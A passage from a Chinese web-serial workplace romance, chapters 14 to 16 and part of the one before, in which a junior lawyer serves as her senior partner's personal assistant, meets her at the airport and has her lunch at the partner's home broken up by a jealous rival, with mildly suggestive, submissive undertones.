“未来三个月,你暂时担任我的私人小助理一职。”傅锦懿把其中一瓶水放在孟斯汀手机旁边,“私人小助理要做的事,包括但不限于去我的办公室扫地、擦窗、冲咖啡、整理文件、接待客户。”
她停顿一下,沉吟片刻后道:“以及执行一些我指定的任务。”
看了眼腕表
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,傅锦懿拎着矿泉水往门口走:“具体安排梁助理会通知你,斯汀,别让我再发现第二次。”
她推门的时候又回眸,视线在狼狈的小老鼠身上扫了又扫,“斯汀,先喝口水冷静冷静,把表情收拾好。另外,你肩带露出来了。”
门关上的瞬间,孟斯汀匆忙看自己的衣服。衬衫不知道什么时候滑下来,露出背心和内衣肩带。
慌慌张张把衣服拉好,她颤抖着抓起手机点开屏幕。
点进网页,还停留在那个视频。
清除页面后她才发现自己早已大汗淋漓,空调开得如此低,她脸上的汗珠还是像雨一样落了下来。
冰箱运作的嗡嗡声混着她的心跳在耳畔颤动,她羞赧地捂住脸,像被抽走全身的骨头般瘫软在地。
她在傅锦懿面前,已经丢人丢到无法用言语形容的地步。
试问还有没有比被暗恋的人发现看h片还尴尬的事?
恍恍惚惚回到工位,她瘫软在桌子上,心跳怎么都无法平静。
下班前,梁助理发信息要她去傅锦懿办公室。
“小孟。”梁助理把一把钥匙交给她,“这是傅律办公室的钥匙,傅律每天早上8:50到,你8:30到,把她办公室整理好就行。”
梁助理简单交代几句,介绍了如何使用这间办公室的电器,随后莞尔一笑:“照顾傅律其实很简单,早上给她冲好咖啡,注意她的信息,按照她的要求做事就好。我相信你一定可以好好完成这个任务。”
握着掌心里那把钥匙,孟斯汀咬着唇点点头。
下班后她没有直接回去,守在打印机旁拿梁助理发来的注意事项。
每日更换鲜花、文件按编号归档等较为机械化的可以按部就班完成,至于傅锦懿的一些小习惯,比如要往咖啡里加奶还是方糖,都详细地写在这些A4纸上。
抱着整理好的文件装进包里,她又往包里装了信纸和笔。
“检讨书……”辗转难眠的晚上,她抱着头坐在桌子前思考如何写这个6000字的检讨书。
身为律师,知法犯法,这等罪过用6000字来写,怎么都写不完。
但她想到白天傅锦懿坐在她面前晃动的脚尖,整个人又神游起来。
西裤下的黑丝,脚踝处的凹陷和凸起,差点又踩到她手的脚尖,以及金丝眼镜框下意味不明的目光。
小腹涌起一股热流,她红着耳尖在纸上反复写[傅锦懿]三个字。
写了大半页才发现这是检讨书。
刚绞尽脑汁写好的几行作废了。
她懊恼地撕掉这页重新誊写,这时手机震动。
点开手机,是傅锦懿发来的信息。
傅锦懿:[斯汀,明天去我办公室拿一份文件]
傅锦懿:[周六上午十点,带着文件去浔城国际机场等我]
傅锦懿:[检讨推迟到下周五前交给我]
傅锦懿:[斯汀,先睡觉]
14. 第 14 章
笔尖在纸上戳了个大洞,中性笔的墨水洇出一小片花儿。
好一会儿,才敲键盘回复:[好]
十分钟后,孟斯汀已经关灯躺在被窝里。
睡不着也要躺着,这是指令。
她向来听从傅锦懿的指令。
过来、坐下、起来、听话、睡觉。
像一只早早被傅锦懿驯化的狗。
翻来覆去睡不着。
手伸到枕头下把项圈拿出来。
黑暗中,铃铛叮铃作响。
这才心安。
翻了几个身方睡着。
早起的闹钟响之前,孟斯汀已经盯着天花板发呆半个小时。
这一夜她睡得不怎么安稳。
第一天做傅锦懿的私人小助理,难免无法立刻适应这个身份。
要给傅锦懿的办公室打扫卫生,要整理文件,要在明天上午十点去机场给傅锦懿送文件。
这几天傅锦懿不在还好,要是在了,被傅锦懿注视着做这些事情,和戴上锁链接受惩罚有什么区别?
好像,也没什么区别。
孟斯汀翻了个身,疲惫地叹口气。
张娟案的复勘疑问昨天下午发给了傅锦懿,如果没有意外,今天会拿到她的解答。
但发生昨天那件事后,工作上的交集都变得小心翼翼,回复消息已经不再带着期待,而是带着受惩的恐惧。
不过,傅锦懿给她这个惩罚很让她意外。
这种事情放在别人身上,恐怕不是写检讨和当私人小助理那么简单了。
忽然又没那么恐惧了。
傅锦懿对她还是很宽容的。
闹钟再一次响起时她才弹坐起来,顶着眼下的乌青到公司,撞见刚从茶水间接完咖啡的徐嘉棠。
孟斯汀瞄了眼茶水间。
她已经对这个地方ptsd。
“呦,这么没精打采?”徐嘉棠抿了一口咖啡,凑近她调侃:“手工达人昨晚上又去做手工了?”
孟斯汀没接话。
她还不如做手工做到肾虚,也好过被傅锦懿抓到看h。
放下书包拿着钥匙起身时,徐嘉棠问:“你干什么去?”
“打扫傅律的办公室。”
对面的姚柔好奇问:“为什么你去打扫傅律的办公室?”
孟斯汀扯了句谎:“工作做得不好,被惩罚了。”
工作?复勘结果?
徐嘉棠面露忧色:“傅律跟你说什么了?那个结果还要改什么吗?”
她担心自己没把孟斯汀带好,连累对方,又问:“小孟,是不是我指导得不太好?我今天有空,给你再重新看一看吧。”
孟斯汀忙摆手。
真是糟糕,随口撒谎害得徐嘉棠自责。
“我自己的小问题,已经改了,没事。而且我被惩罚是我沟通上有问题,我活该的,不关你事。”她匆匆握紧钥匙离开。
门关上。
徐嘉棠有些丧气地挠头,“该不会真是出了数据问题吧?”
姚柔搅了下咖啡,“也不一定呢,她和傅律关系近,说不定就是私人的小问题。你别放在心上。”
徐嘉棠托着下巴,一想,可能是这个理儿。
//
穿过走廊走到合伙人办公室,深吸一口气触碰冰凉的门把手。
推了半天推不开,孟斯汀敲了下自己的头,拿着攥在手心里的钥匙插入锁孔。
咔哒。
钥匙转动,推开门的瞬间,孟斯汀嗅到淡淡的雪茶香。
空无一人的办公室蔓延着傅锦懿身上的香味,她慢慢踱步进去反锁上门,瞳孔微微扩大。
在这片小领地里巡视片刻,目光落在黑色Interstuhl人体工学椅上。
昂贵的价格,金属与皮革的搭配,沉稳简洁,着实适配傅锦懿的气质。
她倚在办公桌旁静静凝视这把带着致命吸引的椅子,片刻后,移步过去,跪坐在羊绒地毯上,指尖顺着扶手的弧度反复描摹。
鬼使神差地,她俯身将鼻尖埋进坐垫褶皱,舌尖舔舐了一下皮质坐垫。
后腰突然传来触电般的战栗,她捕获到几乎消散的雪茶香。
泛红的耳尖暴露未完的妄想,她垂着眼起身跨坐在椅子上,双手紧紧抱着椅背,分开的双腿悬空晃晃荡荡。
今天傅锦懿又不在律所。
好想她。
绯红的脸颊贴在靠枕上许久,几乎要睡着了,才依依不舍地下来开始整理房间。
细心地打扫完毕,开启咖啡机煮一杯咖啡。
直到方糖沉底的那一刻她才如梦初醒。
傅锦懿不在律所,今天没有人会从她手里接过咖啡。
她盯着杯沿许久,将唇印在傅锦懿嘴唇经常触碰的地方。
苦涩泛甜的液体涌进喉咙,她卷长的睫毛剧烈颤抖起来。
小口把一整杯咖啡啜饮完毕,她咽下最后一滴咖啡液,伸出舌尖沿着杯沿舔一圈。
刷完杯子放好后,孟斯汀看着和来时差别不大的办公室松口气。
小助理第一天上岗,勉勉强强完成任务。
倦意袭来。
拿走文件继续回工位瘫着,庄然喝着冰美式瞥她一眼问:“你跟只老鼠似的,跑来跑去干什么呢?”
徐嘉棠代孟斯汀回答:“她去傅律办公室帮忙做清洁去了。”
庄然翻了个白眼:“我的天,我没见过主动给人当奴隶的,怎么?给你多付了一份保洁的工资?”
徐嘉棠继续代孟斯汀回答:“是傅律指定的,一个小惩罚。”
“小惩罚?这不能吧,加工资不?”庄然不理解怎么会有这种惩罚。
孟斯汀趴在桌子上苦笑。
别说加工资了,她这种情况,不扣工资就谢天谢地。
脑子里忽然涌起一个幻想。
如果傅锦懿在办公室的话,那不就代表……天天能和傅锦懿在私密空间相处?
用胳膊蒙住头,嘴角漾出个笑意。
她好期待。
/
周
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六上午九点五十,机场出口处喧闹声声,孟斯汀抱着文件徘徊片刻坐在椅子上。
抚好裙子的褶皱,手指勾勒下罩衫,避免露出自己的肩带和肌肤。
今天穿了米白色的吊带裙和薄薄的罩衫,有点高度的皮鞋和花边白袜,以及精心化的淡妆。
她很少这样打扮自己,只是今天是她和傅锦懿的私人时间,哪怕有可能就交接个文件,她也无比珍惜。
十点二十。
怀里的文件夹边缘被手指捏得几乎发潮。
孟斯汀把文件放在腿上打开手机,屏幕上的聊天记录凝固在昨天发出的最后一条消息。
孟斯汀:[傅律,明天我会准时去那里等你。]
她不停刷新,期待能刷新出红色气泡。
十点半。
出口处的人流逐渐稀疏。
她咬了咬唇,打字发消息过去。
孟斯汀:[傅律,我已经到了,你在哪里?]
仍旧没人回复。
她继续发消息。
孟斯汀:[傅律,你在哪里?我在出口等着了。]
对方仍旧不回复。
她抱着文件站起来开始在附近徘徊,希望能找到傅锦懿。
二十分钟过后,看了看没有回复的消息界面,小皮鞋里的脚趾悄悄蜷缩起来,脚踝处新磨出的红痕隐隐作痛。
心跳开始加速。
傅锦懿……傅锦懿在哪里?
是今天吧?今天是周六吧?是在这里等着给文件吧?怎么不回消息也找不到人?
十一点整。
手机屏幕亮起又熄灭,映出她眼角一抹晕开的睫毛膏。
人群在她眼前流动成模糊的色块,某个瞬间,她似乎看见熟悉的西装轮廓,但眨眼间又消散在人潮声声里。
她有点明白了什么。
或许这个不守时,也是一个惩罚。
6000字检讨和三个月的私人小助理,不足以抵消那个罪恶。
她深吸一口气瘫在椅子上,胀痛的脚趾提醒她清醒一点。
根本没有私人相处的二人时光。
傅锦懿只会给她惩罚。
“斯汀。”
温润的声音穿过嘈杂落入耳中。
傅锦懿!
孟斯汀匆忙起身时差点扭到脚。
转身朝声源处看去,傅锦懿一身黑色西装套装裙,黑色丝袜包裹着修长的小腿,脚下一双黑色YSL细高跟,身边围了一群光鲜亮丽的人。
傅锦懿挑起一侧眉,抬手扶了下镜框,镜片下的眸子在女孩那身白裙上打量几分。
淡妆,白裙,和上班时完全不一样的穿搭,很新鲜。
客户交换眼神,问:“那位是……”
“我的私人助理。”傅锦懿冲几位客户扬起公式化的笑,“那我们今天就聊到这里,改天再约个时间?”
客户们点头,与她握手离开。
再转身。
冲远处抱着文件一动不动的白裙女孩招手:“斯汀,过来。”
15. 第 15 章
人会对生命中的意外记忆犹新,经年过后再提起,仍会对那事那人侃侃而谈。
以为萍水相逢后会无期,却教人久别重逢再添新事。
鼎沸的人声中,白裙女孩跑来。
湿漉漉的大眼睛,像一只淋湿羽翼的长尾山雀。
傅锦懿稍稍整理下衣服,惯常抬起右手扶了扶眼镜。
“傅律!”孟斯汀气喘吁吁地抱着文件停在傅锦懿面前,她背着代表嘉奖的Gucci书包,里面装了东西沉甸甸的,缓口气才抬头说:“傅律,我等了你好久。”
焦虑和紧张还没完全从身体里抽离出来,她颤抖着嘴唇小声问:“傅律,请问你去哪里了?你没有回我的消息,我很担心。”
傅锦懿凝视了她好一会儿,抿唇笑笑说:“不好意思,让你久等了。我被客户缠着没时间脱身,忘记提前发消息告诉你。”
“原来是这样。”孟斯汀脸上滑过一瞬欣喜,低头把怀里的文件整理好双手奉上,“对了,傅律,你要的文件我带来了。”
傅锦懿接过打开文件夹随意翻看几下,“嗯,辛苦你跑一趟。谢谢你,斯汀。”
失落后又重拾希望,现在,客套的语言落在耳朵里都极为动听。
孟斯汀缩了下肩膀,漂亮潮湿的眼闪烁着微光,薄薄的唇翘起一个小弧度,“傅律,这是我应该做的。”
抬手腕看了眼百达翡丽的指针,傅锦懿侧了侧身子引她往前走,“让你等我那么长时间,真是失礼。快到饭点了,不如我请你吃顿饭,如何?”
“那就麻烦傅律了。”孟斯汀有些不好意思地揉揉肚子,“我早上起得早,吃饭也早,现在确实是有些饿了。”
意料之外的欣然应允。
傅锦懿以为她会推辞几下。
转身走到停车场的方向,空荡荡的身旁多了个影子。
傅锦懿瞄了一眼安静跟在身旁的人,脚步放慢些。
车钥匙按开魅影的车门后,右手轻轻抬起:“斯汀,坐副驾。”
身侧的人愣了一瞬。
副驾?被喜欢的人邀请坐副驾吗?
傅锦懿偏头看她,镜框下的眸色渐深:“斯汀,听话,坐。”
心尖上溢出来些许暖意。
孟斯汀乖顺地取下书包走到副驾那侧坐进去,靠着查尔斯蓝真皮座椅,系上安全带僵直地并拢膝盖。
第一次坐傅锦懿的副驾,难免有些紧张。
傅锦懿探进来时,雪茶香味先一步钻进车厢。
坐进驾驶座,裙摆因为动作向上缩,露出包裹在黑丝中的膝盖。
孟斯汀的视线胶着在那截腿上。
弯曲的膝盖处,丝袜呈半透明材质,小腿肌肉在黑丝下绷出优美的线条。
这时,车窗升起,星空顶亮起,冷气聚集在车内,外界的噪音也被过滤成模糊的背景音。
注视的时候,门关上的声响惊醒了她。
不着痕迹地避开,又被女人的动作吸引住。
傅锦懿弯了弯腰,右手摸到高跟鞋,手指勾住鞋后跟轻轻一扯,两只高跟鞋从她脚上离开。
往后坐一抛,真皮座椅上发出咚的一声响。
两只高跟鞋歪歪斜斜倒在座椅上,鞋尖好巧不巧都指着副驾。
“开车穿高跟鞋容易有危险。”按下启动按钮,傅锦懿舒展了一下脚趾,黑丝包裹的足弓在踏板上方悬停片刻,缓缓踩下。
“等下车时,把高跟鞋拿给我。”踩了下油门,傅锦懿缓缓说着,“斯汀,别忘了。”
孟斯汀的视线离开对方黑丝包裹的足跟,轻不可闻地嗯了一声。
久久,再次偷偷瞄了一眼。
对方单手倒车时的神态认真专注,紧绷的胸前包裹住令人遐想的欲望,脱下高跟鞋,赤着黑丝包裹的足,像是直接把某种东西铺展在面前。
好似。
钻到了裙底。
好似。
在某些地方翻涌。
车缓缓驶出停车场,手指碰到怀里的书包时才想起来还有一件重要的事。
在包里窸窸窣窣摸索一会儿,掏出一个精美的盒子。
小动作引起了傅锦懿的注意,拇指轻轻在方向盘上摩挲,轻声问:“这是什么?”
孟斯汀轻轻打开盖子:“我在德基广场买的巧克力,Venchi家的。清单上有写你喜欢吃这个品牌,我想着今天要来给你交接文件,昨晚上趁那边没打烊买了几块。”
9块巧克力,花了300多。
难以想象在21世纪巧克力会昂贵到这种程度。
“本来就是要送你的,你现在又请我吃饭,所以也能……”她低头说着,捏起一块巧克力,发觉不太对劲。
软软的触感,像捏了一摊水。
没等到下句,傅锦懿主动问:“也能什么?”
孟斯汀咬着唇不吭声。
手指捏了捏巧克力包装,颤抖着放下再拿起一颗。
仍旧是一样的触感。
“傅律……”一声又轻又小的声音。
傅锦懿竖起耳朵:“嗯?怎么了?”
孟斯汀仓促地合上精美的盖子,嘴巴瘪起:“抱歉,巧克力化了。”
还以为是什么大不了的事。
傅锦懿目光扫过盒子,“化了就放冰箱里冻一下,口味不会有太大变化。先放着,我带回家放冰箱。”
垂头匆忙盖上盖子,手指颤抖地收好。
瞥了眼身边安静开车的人,一股无措涌上孟斯汀心底。
精心准备的小礼物,变成一滩丑陋的巧克力水。
真是昂贵又拿不出手的东西。
“我特意选了你爱吃的开心果鱼子酱……”孟斯汀强装镇定地说些题外话,试图把巧克力融化的尴尬往下压一压,“不好意思,我应该放些冰袋在里面。”
傅锦懿没有接话,迅速关闭原本设定的餐厅导航,方向盘在她手中转了个漂亮的弧度,“这就不开心了?”
梧桐树的影子从车窗外掠过,斑驳的光影在孟斯汀的脸上跳跃。
她盯着自己并拢的膝盖,声音闷闷的:“只是觉得化成这
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样还要送给你,有点不太体面。”
耳边传来一阵轻缓的笑声。
孟斯汀转头看向女人的侧影,午间的阳光透过树叶的缝隙洒落进车窗,给这张清冷疏离的脸勾勒一层浅金的光。
她绞着双手沉默片刻,最终收回目光。
不懂傅锦懿在笑什么。
笑这句话?还是笑那盒化了的巧克力?
“你什么时候来浔城的?毕业前来的?”对方转换话题的速度让人始料未及。
孟斯汀抿紧唇。
傅锦懿的这句询问算是关心吗?还是不想承接自己巧克力化了的糟糕情绪?又或者,只是随口一问?
她想不了太多,抱紧书包接上话:“对,毕业前来这里转过,提前去浦口区那边租房,领完毕业证就入职锦意了。”
再次悄悄看过去。
女人卷长的睫毛下是平静无波的眼,看不出任何情绪。
冷峻的侧脸,开车时认真专注。
实在忍不住,又多瞧几眼。
车平稳地在路上行驶,傅锦懿的指敲敲方向盘,目光落在前方的道路上:“你觉得浔城怎么样?还习惯吗?”
浔城……
孟斯汀不知道浔城到底是什么样。
六朝古都,金陵烟雨。
秦淮河岸,一梦浔城。
她对这些东西没有太多感知,在浔城工作只是因为这里有傅锦懿,成为律师也是因为傅锦懿。
古都里有故人,有从初见就想延续的故事。
仅此而已。
“浔城,挺好的。”孟斯汀攥紧手心说,她又瞄了眼傅锦懿,打量那个好看的轮廓,“我很喜欢浔城,真的。”
“梧桐大道去过没有,来浔城的人都喜欢去那里,你呢?”
“还没有。”
话音刚落,就感觉到车身猛地加速。
傅锦懿踩一脚油门,车子朝着中山陵方向驶去。
一路驶到陵园路,到达那片郁郁葱葱的梧桐大道时,车的速度慢了许多。
炽热的阳光透过树叶缝隙投下碎金的光斑,整齐排列两侧的梧桐树构成一条长长的绿色隧道。
车窗落下来的那瞬间,暑夏的热风扑面而来。
孟斯汀抓着裙子,眼睛亮了起来。
社交软件上人们分享的照片,现在,她和傅锦懿一起看了。
“觉得怎么样?”傅锦懿问。
孟斯汀蜷起手指:“很好看。”
午间在这条路上拍照的人不是很多,暑热蒸得人难耐,傅锦懿扶了下镜框轻声说:“那希望你一直喜欢浔城。”
几公里的路走了不知道多长时间,驶出这条大道后,车子转向另一个方向。
坐喜欢的人的副驾太过舒适,孟斯汀几乎要忘记自己今天精心打扮是要做什么。
好奇心上来。
她绞着衣角,瞄了眼身旁女人黑丝裹着的腿,问:“对了,傅律,你要带我去哪里吃饭?”
傅锦懿轻笑一声,指尖在方向盘上轻轻敲击:“去我家。”
16. 第 16 章
信息来得太快,孟斯汀没听清这三个字。
询问的目光抛过去,对方的语调慢了下来,耐心重复:“来我家吃饭,斯汀。”
这句话的余韵在星空顶处悬浮着,被细闪的光照射,折叠成彩色的气泡在头上炸开水珠。
孟斯汀的手指在白裙上蜷缩起来,紧接着透过裙子薄薄的布料掐住大腿上的肉。
疼痛是真实的,她没有做梦。
傅锦懿邀请她去家里吃饭。
胸腔里有什么膨胀了起来,她嘴角不受控制地向上牵动,在即将形成笑容的瞬间被下唇压制住。
低头假装整理了一下书包带子,她点点头:“好,谢谢傅律。”
车窗外的世界在加速模糊,她看着陌生的街景整理几次书包带子,最终合拢双手安静靠在椅背上。
视线无法聚焦,午间的室外有令人致盲的风险,孟斯汀漫无目的看了看窗外,垂下疲惫的眼低头打开手机上的导航。
车驶入建邺区,海玥花园快到了。
进入这片河西顶级豪宅区,孟斯汀的瞳孔微微放大。
小区内的道路很宽阔,路两边都是修剪得整整齐齐的灌木丛。法式风的住宅正面都是整齐划一澄净的玻璃窗,南北通透,视野开阔。楼栋金属边框质感拉满,前卫大胆的设计,外行人都能感受到其中的审美。
这里的一切都带着不真实的精致感,没有一丝市井的烟火气,连空气都仿佛被过滤过。
孟斯汀特意留意了复式的那几栋楼,她听徐嘉棠说过,傅锦懿住的是复式。
劳斯莱斯驶进宽明亮的地下车库,冷白空旷的空间回荡着车轮的声音。
傅锦懿干净利落地停在自己的车位上,安全带扣自动弹开,惊醒了还在恍惚中的孟斯汀。
副驾座的车门被傅锦懿按开,孟斯汀想到后座的那双鞋,匆忙下车去后座拎起高跟鞋绕到驾驶座处。
“傅律,你的鞋子。”站定后,孟斯汀晃了下高跟鞋。
弯腰要放在地上时,车门处探出一只裹在黑丝里的脚,脚踝处凸起的骨节顶着丝袜有些泛白。
孟斯汀晃了下神缓缓蹲下身子,手指一松,高跟鞋放在地面。
握住一只高跟鞋要往那只伸出来的脚上套,那只脚忽然压了下来。
脚掌中间纵弓隆起,压在她手腕上,微热的温度透过丝袜渗入血管。
孟斯汀浑身一僵,高跟鞋啪地掉在地上。
“斯汀,我没有让你给我穿鞋。”傅锦懿的声音从头顶传来,像琴弦在震动。
而后脚掌缓缓施力,丝袜与皮肤摩擦发出细微的沙沙声。
孟斯汀能清晰感受到每一根脚趾的位置,它们正压着她腕间跳动的脉搏。
皮肤相接处像着了火,热度顺着血管一路烧到耳根。
孟斯汀的膝盖发软,几乎要跪倒在水泥地上。
“抱……抱歉,傅律。”她结结巴巴地道歉,喉间泛起一阵干渴。
那只脚忽然向上滑了半寸,丝袜的纹在她手腕上烙下转瞬即逝的触感,倏然离开。
傅锦懿侧身伸出手:“斯汀,把鞋子给我。”
惊慌在双手递上高跟鞋时被压了下去。
孟斯汀看傅锦懿穿好鞋锁门,踩着高跟鞋往电梯处走,她揉揉刚刚被踩到的手腕,深吸一口气跟上去。
电梯上升时,孟斯汀站在傅锦懿后半步位置。目光落在傅锦懿后颈处露出的一小片肌肤,她眨了眨眼,往傅锦懿身边挪了一点点距离。
来到8层,入户门打开的一瞬间,熟悉的雪茶香味扑面而来。
到玄关处,傅锦懿给她拿了一双拖鞋。她接过,终于脱下了把脚趾挤压到几乎变形的小皮鞋。
走到客厅,孟斯汀环视这套房子。
简约性冷淡的装修,空旷寂静。黑白沙发棱角分明,大理石茶几的边沿锋利得能割伤人。
厨房是开放式的,有一位阿姨在忙碌。傅锦懿说那是她的煮饭阿姨,做饭很好吃,直接喊刘阿姨就好。
空调的温度调得很低,阳台落地窗那里垂下白色纱帘,餐厅旁边是黑色楼梯,二楼玻璃围栏倒映着客厅的全貌,仔细观察了下,二楼应该是卧室区。
整套房子里没有一件多余的装饰品,严苛的秩序感和傅锦懿一模一样。
孟斯汀站在沙发旁看向二楼,没来由地想,傅锦懿晚上睡觉会不会冷。
久久,忽然想到什么。
匆忙把包里的巧克力拿出来,去厨房处打开冰箱找到冷冻区放了进去。
再转身时,已经看不到傅锦懿的影子。
她往客厅里走了走,安静坐在沙发上等待。
等了太久,等得有些焦灼,无聊迫使心急的她打开冰箱看那盒巧克力,竟然已经冻好了。
她把巧克力拿出来放在餐桌上,想要开口喊一声傅锦懿,又怕扰乱屋子的寂静。正要起身往其它房间看看时,楼梯上的脚步声让她猛地回头。
傅锦懿换了身更为舒适的居家服,白色亚麻衬衫,和白色宽松长裤。腰间系了条黑色腰带,是和平时不一样的慵懒感。
抬头和楼梯上的女人对视一眼,孟斯汀的视线像被烫到匆忙躲闪了一下。
傅锦懿走下楼梯时,刘阿姨说饭好了。
孟斯汀抄起餐桌上的巧克力献宝似地捧着说:“傅律,巧克力已经冻好了。”
傅锦懿扫了一眼,点点头:“好。斯汀,饭好了,先吃饭。”
孟斯汀点点头,放下巧克力跟着坐下。
刘阿姨端上菜,孟斯汀的视线落在那几盘散发着香味的菜上。她饿了许久,这时肚子又咕咕叫起来,但傅锦懿没有动筷子,她便老老实实坐着。
“清蒸鲈鱼,很鲜,刺也少。”始料未及,傅锦懿拿起筷子先给她夹了一块鱼肉,“斯汀,吃。”
筷尖没碰到碗沿一丝一毫,精准地落入米饭上。
盯着那块雪白的鱼肉,孟斯汀受宠若惊。
傅锦懿,又给她夹菜了。
还是在家里的餐桌上夹的。
她有点舍不得吃。
又有点贪心。
“傅律,可以给我夹一块排骨吗?”孟斯汀小心翼翼地问。
傅锦懿瞄到手边的板栗烧排骨,点点头,夹起一块放进她碗里。
门铃在这时响起。
刘阿姨去开门,玄关处传来一阵躁动。
“景小姐,傅小姐她……”
“刘姨你不要拦我,我有事找她。”
高跟鞋哒哒声越来越近。
孟斯汀的筷子悬在碗上方,抬头,一个黑色抹胸裙的黑长直女人不顾刘阿姨的阻拦,踩着十公分的高跟鞋快步走过来。
越来越近,越来越近。
直到这抹凌厉的身影出现在她面前。
还没来得及反应,碗已经被女人掀得飞了出去。
白瓷碗碎裂在地,碗里的鲈鱼肉和排骨,随着米粒一起溅落在地上。
啪。
傅锦懿猛地撂下筷子拧着眉毛起身,“景洛施!你干什么!”
景洛施睨了孟斯汀一眼没吭声,下一秒,她掀掉孟斯汀面前的一盘口菇牛肉,顺势带掉那盒刚冻好的巧克力。
瓷盘碎裂在地,周五晚上在商场新买的白衣裙上瞬间沾上饭菜的污渍,九颗巧克力咕噜噜滚在地上。
傅锦懿从座位上离开的时候踩过一颗,抬起脚步时,那颗巧克力已经变得扁平,流出脏兮兮的芯儿。
孟斯汀被吓到起身,不知道自己该看哪里。
是看眼前莫名其妙的女人,是看碎了的饭碗、盘子,是看被傅锦懿踩扁的巧克力,还是一脸愠怒的傅锦懿。
她不知道。
她很慌乱,也很害怕。
“景洛施!”傅锦懿的声音像是淬了冰,她不由分说拉住景洛施的手腕阻止她,“你太放肆了!”
景洛施甩开她的手,冷眼笑出声:“我放肆?傅锦懿,你有空带别人回家吃饭,却拒绝谈我们的事情,到底谁放肆?”
转头,景洛施上下打量面前脏兮兮的女人,掀唇警告:“我不管你是谁,现在,立刻离开这间房子,我不希望有任何外人打扰我和她谈私事。”
她的手伸进包里,掏出几张钞票往孟斯汀身上甩,下一句话还没说出口,傅锦懿已经拉着她往阳台处走。
落地窗一开一合,两个人影开始变得模糊。
傅锦懿的衬衫被风吹得鼓起,景洛施的长发在阳光下像黑锻。
一切发生得太快。
等孟斯汀反应过来后,身子变得无比僵硬。
阳台处的两人争吵姿态很熟稔,孟斯汀第一次在傅锦懿脸上看到那么多表情。
愤怒、责怪、毫无耐心。
她不知道景洛施到底是谁,但看到这个长相冷艳的女人伸出手臂抱住傅锦懿,又被傅锦懿快速推开时,她好像明白了什么。
“孟小姐……”刘阿姨匆匆赶过来,“真不好意思,景小姐她脾气不是太好,您衣服脏了,过来洗洗吧。”
“我没事,没事。”孟斯汀低头看了一眼身上的污渍,视线落在地上的巧克力上。
她蹲下去捡起那些巧克力,被踩扁的那块也握在手心。
300多才能买到的9块巧克力,对傅锦懿来说,好像算不上什么。
踩上一脚,连一点关注都没有。
刘阿姨去拿她手心的巧克力:“孟小姐,这个我来扔掉。”
连同一起扔掉的,还有粘在地上的,傅锦懿给她夹的鲈鱼和排骨。
洗完身上的污渍后,刘阿姨双手递交一叠景洛施甩下的钱,“孟小姐,真是抱歉,景小姐她做得属实不对,但她……”
孟斯汀握着那沓钱摇摇头:“没事,我理解,那我先回去了。”
“多谢你理解。”
返回客厅时,孟斯汀又一次望向阳台处。她看到景洛施好像在哭着说什么,而这时傅锦懿沉默地背过身去。
客厅寂静无比。
她在极度安静的环境里听到自己内心的声音,难以言喻的情绪奔涌上来。
她背上书包,把手里那沓钱放在茶几上,低头打开手机找到傅锦懿,发了条消
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息:
[傅律,我先走了,你先处理你的事]
她不认为傅锦懿会有时间处理这条信息。
短暂望了眼傅锦懿的背影,跟刘阿姨道别。
傅锦懿给她夹的无刺的鱼,她一口都没有吃到。
但那根刺,如今卡在她喉咙里,她难以下咽。
乘电梯下楼,在小区里漫无目的走了十几分钟,清洗污渍的地方已经被晒干,手机屏幕亮了又暗,暗了又亮,始终没有消息发来。
孟斯汀深吸一口气,走出小区点开打车软件。
目标终点:梧桐大道。
司机是一个四十岁左右的大姐姐,透过后视镜问她:“小姑娘第一次来浔城吗?”
孟斯汀盯着车窗外快速后退的街景,心不在焉地嗯了一声。
大姐姐笑说:“梧桐大道太火了,每个来浔城的外地人都会去这里,那里有很多人拍照,我今天送了好几个人去那里呢。”
孟斯汀又嗯了一声。
下车时,暑热蒸腾得她头有些发晕。
她沿着路边沉默地往前走,走到几小时前,傅锦懿跟她说[希望你一直喜欢浔城]的地方时,仰头站了好久。
燥热的风吹乱她的头发,有几缕黏在了湿润的脸颊上。
学习了一晚上,大早上爬起来化的妆容已经有点花了。
她小心擦了下,却揩掉几滴温热的眼泪。
周一浑浑噩噩到律所时,孟斯汀再一次看手机上和傅锦懿的聊天记录。
消息停在她的短暂道别上。
两天,傅锦懿都没有回复她。
是还在处理景洛施的事,还是,觉得她的离开无所谓?
闹钟提醒她去傅锦懿办公室做清洁,她咬了咬唇拿起钥匙去傅锦懿办公室心不在焉地打扫着,梁助理推门而入告知她,傅律明天下午会来律所一趟,明天晚上就要出差了。
这一趟出差不知道什么时候回来,也许等回来时,张娟案都结案了。
她拿着清洁布安静听梁助理汇报的行程,机械地嗯了一声。
很多事情都无法深入了解,即便想要亲自参与,也会被现实的洪流推得越来越远。
再一次打开手机。
仍旧没有傅锦懿的消息。
她颤抖着手指熄掉屏幕。
或许,她早该认清一件事,她对傅锦懿来说,本来就是无关人员。
闯不进这个女人的生活,无法被真正地在意,只能做一个被抓到犯错误的下属。
因为不被在意,因为不是生活中的人,所以一切都是礼貌、客套、疏离,所以不能获取除陌生之外的一切情绪。
参与不了情绪,参与不了一切。
她只是一块即便昂贵,被踩碎时也得不到关注的巧克力。
她只是一个无关人员。
她抓着清洁布,几乎要把这片布徒手撕烂。
次日下午,孟斯汀做对张娟案最后的梳理。
张娟案下周五开庭,徐嘉棠作为委托律师为张娟辩护,她征得主审法官的同意,会带着孟斯汀一起去内场辩护。
孟斯汀要做的是给徐嘉棠传递文件、协助查阅文件、记录整理信息以及其他支持。
这么快就能进内场,能以辩护方的身份体验一次真正的庭审,她很珍惜这次机会。
整理着相关材料,徐嘉棠手指敲敲桌子跟她说:“小孟,明天下午去会议厅再做一下模拟,有我在,你不用太紧张。”
孟斯汀点点头:“嗯,好。”
“有傅律开金口真是轻松啊,现在嘉棠成了你的指导律师,一个刚进来一个月的实习生就能去辩护席,呵,少走很多弯路咯。”庄然咂咂嘴,溢出一股酸味儿。
徐嘉棠抱着水杯喝了口水,“我以前不也带过你进内场?”
庄然这下不说话了,戴上耳机假装没听见。
徐嘉棠也不计较她不理人,偏头跟孟斯汀说:“这段时间你给其他案子写的辩护策略都很不错,对我的协助也很多,等张娟案过去后,我会继续带你做一些案子。你表现很好,我相信你会越来越好,小孟,加油。”
孟斯汀鼻子一酸,“徐姐,谢谢你的指导,我也会继续努力。”
“咱们两个加油干。”
“嗯!”孟斯汀重重点头。
复杂的情感涌上心尖。
在这个人际关系复杂又充满有色眼镜的律所里,能有一个认真带她帮助她成长的导师,太难得。
成长。
忽然想起给她成长机会的女人。
如果不被准许复勘,或许,她无法通过实际行动学到更多。
但她像和女人短暂失联了。
鼠标点开和傅锦懿的聊天界面,手指悬在键盘上,咬着牙在框里打了几个字:
